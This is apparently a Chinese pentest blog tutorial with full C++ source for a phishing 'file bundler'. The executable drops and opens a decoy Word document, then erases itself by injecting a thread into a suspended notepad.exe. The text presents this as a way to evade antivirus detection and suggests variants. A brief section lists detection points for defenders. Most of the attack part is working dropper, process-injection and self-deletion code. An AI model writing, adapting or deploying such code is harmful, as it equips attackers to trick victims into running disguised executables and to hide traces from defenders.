关于文件捆绑的实现
字数 1257 2025-08-06 20:12:36

文件捆绑实现技术详解

0x01 技术介绍

文件捆绑是一种将多个文件合并为一个可执行文件的技术,常用于渗透测试中的钓鱼攻击场景。其核心目的是:

  1. 释放正常的诱饵文件(如Word文档)
  2. 执行诱饵文件增加可信度
  3. 实现自删除功能清除痕迹

相比传统捆绑工具,使用资源文件实现捆绑具有更好的免杀效果,因为:

  • 资源文件是Windows可执行文件的合法组成部分
  • 不依赖第三方工具,减少特征检测
  • 可自定义释放逻辑,规避行为检测

0x02 关键API函数

资源操作相关API

  1. FindResourceA
HRSRC FindResourceA(
  [in, optional] HMODULE hModule,
  [in]           LPCSTR  lpName,
  [in]           LPCSTR  lpType
);
  • 功能:定位资源文件中特定资源
  • 参数:
    • hModule: 模块句柄,NULL表示当前模块
    • lpName: 资源ID,需用MAKEINTRESOURCEA宏处理
    • lpType: 资源类型(如"docx")
  1. LoadResource
HGLOBAL LoadResource(
  [in, optional] HMODULE hModule,
  [in]           HRSRC   hResInfo
);
  • 功能:加载指定资源到内存
  1. SizeofResource
DWORD SizeofResource(
  [in, optional] HMODULE hModule,
  [in]           HRSRC   hResInfo
);
  • 功能:获取资源大小
  1. LockResource
LPVOID LockResource(
  [in] HGLOBAL hResData
);
  • 功能:获取指向资源数据的指针

文件操作相关API

  1. CreateFileA
HANDLE CreateFileA(
  [in]           LPCSTR                lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);
  • 关键参数:
    • dwCreationDisposition: 指定文件存在时的行为,常用CREATE_ALWAYS(总是创建)
  1. WriteFile
BOOL WriteFile(
  [in]                HANDLE       hFile,
  [in]                LPCVOID      lpBuffer,
  [in]                DWORD        nNumberOfBytesToWrite,
  [out, optional]     LPDWORD      lpNumberOfBytesWritten,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);
  1. ShellExecuteExA
BOOL ShellExecuteExA(
  [in, out] SHELLEXECUTEINFOA *pExecInfo
);
  • 用于执行释放的诱饵文件

0x03 实现步骤

1. 创建资源文件

  1. 在Visual Studio中:

    • 右键项目 → 添加 → 资源
    • 选择"导入",文件类型选"所有文件"
    • 指定资源类型(如"docx")
    • 编译后文件将嵌入EXE中
  2. 查看资源ID:

    • 打开.rc文件 → 资源视图
    • 右键资源 → 资源符号
    • 记录ID值(如101)和名称(如IDR_DOCX1)

2. 代码实现

#include <iostream>
#include <windows.h>
#include "Bundled.h"

// 自删除线程函数
DWORD64 WINAPI threadProc(LPVOID lParam) {
    INT RET = 20000;
    for (size_t i = 0; i < 20000; i++) {
        RET = RET - 1;
    }
    // 延时确保文件操作完成
    wDeleteFileA kDeleteFileA;
    DeleteStruct* DS = (DeleteStruct*)lParam;
    kDeleteFileA = (wDeleteFileA)DS->dwDeleteFile;
    kDeleteFileA(DS->dwDeleteFile_param_1); // 执行删除
    return RET;
}

int main(int argc, char* argv[]) {
    CHAR PathFileName[MAX_PATH] = { 0 };
    CHAR FileName[MAX_PATH] = { 0 };

    // 1. 获取资源
    HRSRC Resource = FindResourceA(NULL, MAKEINTRESOURCEA(101), "docx");
    HGLOBAL ResourceGlobal = LoadResource(NULL, Resource);
    DWORD FileSize = SizeofResource(NULL, Resource);
    LPVOID PFILE = LockResource(ResourceGlobal);

    // 2. 构造输出文件名
    GetModuleFileNameA(NULL, PathFileName, MAX_PATH);
    strcpy_s(FileName, strrchr(PathFileName, '\\')+1);
    
    // 修改后缀为docx
    for (size_t i = 0; i < MAX_PATH; i++) {
        if(FileName[i] == '.') {
            FileName[i + 1] = 'd';
            FileName[i + 2] = 'o';
            FileName[i + 3] = 'c';
            FileName[i + 4] = 'x';
            break;
        }
    }

    // 3. 写入文件
    HANDLE FILE = CreateFileA(FileName, FILE_ALL_ACCESS, 0, NULL, CREATE_ALWAYS, 0, NULL);
    DWORD dwSize;
    WriteFile(FILE, PFILE, FileSize, &dwSize, NULL);

    // 4. 执行诱饵文件
    SHELLEXECUTEINFOA shellexecute = { 0 };
    shellexecute.cbSize = sizeof(shellexecute);
    shellexecute.lpFile = FileName;
    shellexecute.nShow = SW_SHOW;
    ShellExecuteExA(&shellexecute);

    // 5. 自删除实现
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, 
                  CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);
    
    DeleteStruct DS;
    DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");
    GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);

    // 远程线程注入
    LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);

    LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);
    
    DWORD RETSIZE;
    HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, 
                                      (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);
    CloseHandle(Thread);
}

3. 头文件定义

// Bundled.h
#pragma once
#include<Windows.h>

typedef struct DeleteStruct {
    FARPROC dwDeleteFile;
    CHAR dwDeleteFile_param_1[MAX_PATH];
};

typedef BOOL(WINAPI* wDeleteFileA)(_In_ LPCSTR lpFileName);

0x04 技术要点

  1. 资源文件处理

    • 资源类型可以自定义(如"docx")
    • 资源ID需要通过MAKEINTRESOURCEA宏转换
    • 资源操作遵循:查找→加载→获取大小→锁定指针的流程
  2. 文件名处理

    • 使用GetModuleFileNameA获取当前路径
    • 通过字符串操作修改后缀名
    • 实现动态文件名匹配,增强灵活性
  3. 自删除技术

    • 采用远程线程注入notepad.exe的方式
    • 通过结构体传递API函数指针和参数
    • 添加延时确保文件操作完成
  4. 免杀增强

    • 使用合法API,避免可疑函数
    • 资源文件是Windows合法机制
    • 可添加图标资源增强可信度

0x05 防御检测

防御方应注意:

  1. 检测可疑的资源类型
  2. 监控CreateFile+WriteFile+ShellExecuteEx的调用链
  3. 分析程序是否包含不匹配的图标资源
  4. 检测远程线程注入行为

0x06 总结

这种基于资源文件的捆绑技术相比传统方法具有更好的隐蔽性,通过合理使用Windows API可以实现免杀效果。关键在于:

  1. 正确嵌入和处理资源文件
  2. 妥善处理文件释放路径
  3. 实现可靠的自删除机制
  4. 保持程序行为的自然性

通过调整资源类型、执行逻辑和自删除方式,可以衍生出多种变体,适应不同的渗透测试场景。

文件捆绑实现技术详解 0x01 技术介绍 文件捆绑是一种将多个文件合并为一个可执行文件的技术,常用于渗透测试中的钓鱼攻击场景。其核心目的是: 释放正常的诱饵文件(如Word文档) 执行诱饵文件增加可信度 实现自删除功能清除痕迹 相比传统捆绑工具,使用资源文件实现捆绑具有更好的免杀效果,因为: 资源文件是Windows可执行文件的合法组成部分 不依赖第三方工具,减少特征检测 可自定义释放逻辑,规避行为检测 0x02 关键API函数 资源操作相关API FindResourceA 功能:定位资源文件中特定资源 参数: hModule : 模块句柄,NULL表示当前模块 lpName : 资源ID,需用 MAKEINTRESOURCEA 宏处理 lpType : 资源类型(如"docx") LoadResource 功能:加载指定资源到内存 SizeofResource 功能:获取资源大小 LockResource 功能:获取指向资源数据的指针 文件操作相关API CreateFileA 关键参数: dwCreationDisposition : 指定文件存在时的行为,常用 CREATE_ALWAYS (总是创建) WriteFile ShellExecuteExA 用于执行释放的诱饵文件 0x03 实现步骤 1. 创建资源文件 在Visual Studio中: 右键项目 → 添加 → 资源 选择"导入",文件类型选"所有文件" 指定资源类型(如"docx") 编译后文件将嵌入EXE中 查看资源ID: 打开.rc文件 → 资源视图 右键资源 → 资源符号 记录ID值(如101)和名称(如IDR_ DOCX1) 2. 代码实现 3. 头文件定义 0x04 技术要点 资源文件处理 资源类型可以自定义(如"docx") 资源ID需要通过 MAKEINTRESOURCEA 宏转换 资源操作遵循:查找→加载→获取大小→锁定指针的流程 文件名处理 使用 GetModuleFileNameA 获取当前路径 通过字符串操作修改后缀名 实现动态文件名匹配,增强灵活性 自删除技术 采用远程线程注入notepad.exe的方式 通过结构体传递API函数指针和参数 添加延时确保文件操作完成 免杀增强 使用合法API,避免可疑函数 资源文件是Windows合法机制 可添加图标资源增强可信度 0x05 防御检测 防御方应注意: 检测可疑的资源类型 监控 CreateFile + WriteFile + ShellExecuteEx 的调用链 分析程序是否包含不匹配的图标资源 检测远程线程注入行为 0x06 总结 这种基于资源文件的捆绑技术相比传统方法具有更好的隐蔽性,通过合理使用Windows API可以实现免杀效果。关键在于: 正确嵌入和处理资源文件 妥善处理文件释放路径 实现可靠的自删除机制 保持程序行为的自然性 通过调整资源类型、执行逻辑和自删除方式,可以衍生出多种变体,适应不同的渗透测试场景。